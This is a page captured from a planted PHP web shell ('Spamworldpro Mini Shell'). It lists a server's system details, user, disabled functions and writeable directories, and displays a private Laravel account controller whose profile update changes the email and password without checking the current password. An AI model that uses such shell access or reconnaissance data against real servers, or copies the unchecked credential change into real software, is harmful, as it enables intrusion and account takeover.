Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mcoil.corals.io/app/Http/Controllers/Front/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mcoil.corals.io/app/Http/Controllers/Front/AccountsController.php
<?php

namespace App\Http\Controllers\Front;

use App\Shop\Couriers\Repositories\Interfaces\CourierRepositoryInterface;
use App\Shop\Customers\Repositories\CustomerRepository;
use App\Shop\Customers\Repositories\Interfaces\CustomerRepositoryInterface;
use App\Http\Controllers\Controller;
use App\Shop\Orders\Order;
use App\Shop\Orders\Transformers\OrderTransformable;
use App\Shop\ContactInfos\ContactInfo;
use App\Shop\Customers\Customer;
use Illuminate\Http\Request;
use App\Shop\Products\Product;

class AccountsController extends Controller
{
    use OrderTransformable;

    /**
     * @var CustomerRepositoryInterface
     */
    private $customerRepo;

    /**
     * @var CourierRepositoryInterface
     */
    private $courierRepo;

    /**
     * AccountsController constructor.
     *
     * @param CourierRepositoryInterface $courierRepository
     * @param CustomerRepositoryInterface $customerRepository
     */
    public function __construct(
        CourierRepositoryInterface $courierRepository,
        CustomerRepositoryInterface $customerRepository
    ) {
        $this->customerRepo = $customerRepository;
        $this->courierRepo = $courierRepository;
    }

    public function index()
    {
        $customer = $this->customerRepo->findCustomerById(auth()->user()->id);

        $customerRepo = new CustomerRepository($customer);
        
        // Old code
        // $orders = $customerRepo->findOrders(['*'], 'id');

        // Fetch the shop products orders
        $orders = $customerRepo->findShopProductOrders(['*'], 'id');

        $orders->transform(function (Order $order) {
            return $this->transformOrder($order);
        });
        $orders->load('products');

        // Fetch the oil orders
        $oilOrders = $customerRepo->findOilOrders(['*'], 'id');
        
        $oilOrders->transform(function (Order $order) {
            return $this->transformOrder($order);
        });
        $oilOrders->load('products');

        $addresses = $customerRepo->findAddresses();

        // Get the contact info
        $contact_info = ContactInfo::find(2);
        $products = Product::where('oil_type_status','0')->get();
        return view('front.accounts', [
            'customer' => $customer,
            'orders' => $orders,
            'oilOrders' => $oilOrders,
            'addresses' => $addresses,
            'contact_info' => $contact_info,
            'products'=>$products
        ]);
    }

    // To update profile
    public function updateProfile(Request $request)
    {
    	$customerId = auth()->user()->id;

    	if( !is_null($customerId ) )
    	{
    		$fname 	= $request->get('fname');
    		$lname 	= $request->get('lname');
    		$email 	= $request->get('email');
    		$pass 	= $request->get('pass');
    		$pass2 	= $request->get('pass2');

    		$customer = Customer::find($customerId);

    		$customer->name  = $fname . ' ' . $lname;
    		$customer->fname = $fname;
    		$customer->lname = $lname;
    		$customer->email = $email;
            $customer->business_account = $request->get('business_account') ?? $customer->business_account;
            $customer->business_account_name = $request->get('business_account_name')?? '';

    		// Check if the updated email id already exist
    		$emailExist = Customer::where('email', '=', $email)->where('id', '!=', $customerId)->first();

    		if( is_null( $emailExist ) )
    		{
    			if( $pass != '' && $pass2 != '' )
    			{
    				if( $pass == $pass2 )
    				{
    					$customer->password = bcrypt($pass);
    				}
    			}

    			if( $customer->save() )
    			{
    				return redirect('/accounts?tab=profile')->with('message', 'Updated successfully.');
    			}
    			else
    			{
    				return redirect('/accounts?tab=profile')->with('error', 'Some error in profile update.');
    			}
    		}
    		else
    		{
    			return redirect('/accounts?tab=profile')->with('error', 'Email id already taken by someone.');
    		}
    	}
    	else
    	{
    		return redirect('/accounts?tab=profile')->with('error', 'Some error in profile update.');
    	}
    }
}

Spamworldpro Mini